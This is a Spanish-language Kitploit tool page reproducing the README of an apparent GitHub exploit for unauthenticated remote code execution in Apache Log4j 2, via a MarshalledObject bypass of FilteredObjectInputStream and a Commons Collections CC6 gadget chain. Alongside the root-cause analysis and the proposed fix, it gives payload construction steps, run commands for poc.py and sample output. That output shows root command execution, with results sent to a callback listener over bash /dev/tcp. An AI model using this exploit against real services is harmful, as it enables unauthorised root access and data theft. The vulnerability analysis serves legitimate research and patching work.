Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
log4j2-rce — RCE sin autenticación previa mediante bypass de FilteredObjectInputStream MarshalledObject en Apache Log4j 2 | Kitploit
Herramientas/GitHubGitHub/hypnguyen1209/log4j2-rce
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebDesarrollo de PayloadsExplotación de Binarios
GitHubhypnguyen1209/log4j2-rce

log4j2-rce

RCE sin autenticación previa mediante bypass de FilteredObjectInputStream MarshalledObject en Apache Log4j 2

Ver Repositorio
195hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Bypass de FilteredObjectInputStream de Log4j

RCE pre-auth en cualquier servicio Java que deserialice LogEvent a través de FilteredObjectInputStream de Log4j. No se necesitan credenciales.

Reportado como GitHub issue #4255 el 24 de agosto de 2026.

Qué hace

Log4j incluye FilteredObjectInputStream (FOIS) como un envoltorio seguro de deserialización. Sobrescribe resolveClass() con una lista blanca para que solo org.apache.logging.log4j.*, java.lang.*, java.util.* y unas pocas clases explícitas puedan pasar.

Una de esas clases explícitas es java.rmi.MarshalledObject:

root@kitploit:~
// SerializationUtil.java:81
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
        "java.math.BigDecimal",
        "java.math.BigInteger",
        "java.rmi.MarshalledObject",   // <-- el problema
        ...);

MarshalledObject.get() crea un nuevo ObjectInputStream simple internamente. Sin filtro. Cualquier cosa envuelta dentro de un MarshalledObject se deserializa sin restricciones, evitando por completo la lista blanca.

El propio Log4j hace este envoltorio. LogEventProxy (el proxy de serialización para cada LogEvent) almacena el mensaje del evento en un campo MarshalledObject<Message>. En la deserialización, llama a marshalledMessage.get() para recuperar el mensaje. Esa llamada crea el flujo sin filtrar. Fin del juego.

Cómo se evita FOIS

El filtro solo ve los descriptores de clase de nivel superior en el flujo:

root@kitploit:~
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException {
    String name = SerializationUtil.stripArray(desc.getName());
    if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
        throw new InvalidObjectException(
            "Class is not allowed for deserialization: " + name);
    }
    return super.resolveClass(desc);
}

FOIS verifica LogEventProxy (paquete log4j, permitido), MarshalledObject (en la lista blanca) y byte[] (primitivo). Todos pasan. La cadena de gadgets CC6 está oculta dentro de MarshalledObject.objBytes como bytes crudos. FOIS nunca la ve.

Cuando se ejecuta LogEventProxy.readResolve():

root@kitploit:~
// Log4jLogEvent.java:1265-1274
private Message message() {
    if (marshalledMessage != null) {
        try {
            return marshalledMessage.get();   // ObjectInputStream sin filtrar
        } catch (final Exception ex) {
            // ignórame
        }
    }
    return new SimpleMessage(messageString);
}

marshalledMessage.get() crea un ObjectInputStream simple, la cadena CC6 se activa y el comando se ejecuta. El bloque catch se traga la ClassCastException cuando el resultado del gadget no es un Message, por lo que el servidor responde con normalidad. Sin errores, sin entradas de registro.

Para comparar, ObjectMessage lo hace correctamente:

root@kitploit:~
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
    in.defaultReadObject();
    obj = SerializationUtil.readWrappedObject(in);  // crea un flujo interno FILTRADO
}

LogEventProxy debería usar este mismo patrón pero no lo hace.

Cómo funciona el ataque

root@kitploit:~
Atacante                                   Objetivo (receptor basado en FOIS)
   |                                              |
   |  HTTP POST /log                              |
   |  Cuerpo: LogEventProxy serializado           |
   |  ------------------------------------------> |
   |                                              |
   |                 FilteredObjectInputStream.readObject()
   |                   ├── resolveClass(LogEventProxy)     ✓ paquete log4j
   |                   ├── resolveClass(MarshalledObject)  ✓ lista blanca
   |                   └── resolveClass(byte[])            ✓ primitivo
   |                         |
   |                 LogEventProxy.readResolve()
   |                   └── message()
   |                       └── marshalledMessage.get()
   |                           └── new ObjectInputStream(objBytes)   SIN FILTRO
   |                               └── HashSet.readObject()          CC6
   |                                   └── TiedMapEntry.hashCode()
   |                                       └── LazyMap.get()
   |                                           └── ChainedTransformer
   |                                               └── Runtime.exec(cmd)
   |                                              |
   |  HTTP 200 OK: "log event"                    |
   |  <------------------------------------------ |

El servidor responde 200 y procesa el evento como si nada hubiera pasado.

Construcción del payload

El truco es meter la cadena CC6 dentro de MarshalledObject.objBytes sin que se active antes de tiempo.

GadgetMessage implementa Message y sobrescribe writeReplace() para devolver el gadget CC6:

  1. Construye un Log4jLogEvent con GadgetMessage como su mensaje.
  2. Serialízalo. LogEventProxy.writeObject() llama a marshall(message), que introduce GadgetMessage en el constructor de MarshalledObject.
  3. El constructor serializa GadgetMessage. writeReplace() se dispara y sustituye el HashSet CC6.
  4. Ahora MarshalledObject.objBytes contiene la cadena CC6. GadgetMessage nunca aparece en el cable.

GadgetMessage es solo del lado del atacante. No necesita estar en el classpath del objetivo.

Versiones afectadas

ComponenteVulnerable
log4j-api (FilteredObjectInputStream)2.11.0 a 2.24.3
log4j-core (campo MarshalledObject de LogEventProxy)2.8.0 a 2.24.3

El objetivo también necesita una librería de gadgets en el classpath. Este PoC usa Commons Collections 3.2.1 (cadena CC6).

Ejecución

Requisitos: Java 11+, Maven, Python 3.10+, Docker (solo laboratorio de víctima)

Construye e inicia la víctima:

root@kitploit:~
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..

Construye el exploit (o deja que poc.py lo haga en la primera ejecución):

root@kitploit:~
cd exploit && mvn package -q -DskipTests && cd ..

Ejecuta:

root@kitploit:~
# --lhost es tu IP accesible desde el objetivo
# para el laboratorio Docker en el mismo host, usa la IP del puente docker0
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1

Salida:

root@kitploit:~
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target:  http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999

[*] generating payload ...
    [gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
    [gen] payload: 2619 bytes
[*] payload: 2619 bytes

[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserialized
[+] response: OK: log event

[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)

Puerto de callback personalizado:

root@kitploit:~
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444

Cómo funciona poc.py

  1. En la primera ejecución, llama a mvn package en exploit/ para compilar PayloadGenerator y descargar dependencias. Se omite en ejecuciones posteriores.
  2. Ejecuta java -cp exploit/target/... PayloadGenerator <cmd> en el host. Genera un LogEvent serializado en base64 con CC6 dentro de un MarshalledObject.
  3. Abre un listener TCP en --lport (por defecto 9999) para recibir la salida del comando.
  4. Envía los bytes crudos como HTTP POST al endpoint /log del objetivo.
  5. El payload ejecuta el comando en el objetivo y envía la salida de vuelta al listener mediante bash /dev/tcp.

Archivos

root@kitploit:~
log4j2-rce/
├── README.md
├── poc.py                          # script de exploit
├── exploit/                        # atacante (se ejecuta en el host)
│   ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
│   └── src/
│       ├── PayloadGenerator.java   # CC6 + MarshalledObject + LogEvent
│       └── GadgetMessage.java      # Message con writeReplace()
└── lab/                            # víctima (Docker)
    ├── Dockerfile
    ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
    └── src/
        └── HttpLogReceiver.java    # endpoint HTTP usando FOIS

lab/ es la víctima. HttpLogReceiver es un receptor de logs HTTP que usa FilteredObjectInputStream. Configuración por defecto, sin flags de depuración, sin debilidades artificiales. Commons Collections en el classpath como dependencia transitiva realista.

exploit/ es la herramienta del atacante. PayloadGenerator construye el payload serializado en el host. Nunca toca el contenedor de la víctima.

Corrección

  1. Elimina java.rmi.MarshalledObject de REQUIRED_JAVA_CLASSES.
  2. Reemplaza el campo MarshalledObject<Message> en LogEventProxy con un byte[] serializado mediante SerializationUtil.writeWrappedObject() / readWrappedObject(). Es el mismo patrón que ObjectMessage ya usa correctamente.

Versiones de Commons Collections

CC 3.2.1 y anteriores: InvokerTransformer se serializa libremente. CC6 funciona tal cual.

CC 3.2.2 (noviembre de 2015): Se añadió un guardián de serialización en InvokerTransformer que bloquea la cadena a menos que org.apache.commons.collections.enableUnsafeSerialization sea true.

El bypass del filtro existe independientemente de la versión de CC. El guardián de CC es defensa en profundidad en la capa de gadgets, no una corrección para el filtro roto. Cualquier otra librería de gadgets sin guardián (Groovy, BeanShell, Spring Beans, etc.) permite el mismo ataque.

Limpieza

root@kitploit:~
docker rm -f fois-lab
docker rmi fois-bypass-lab

Legal

Solo para pruebas autorizadas. Obtén permiso por escrito antes de ejecutar esto contra cualquier cosa que no sea tuya.

Descargar herramienta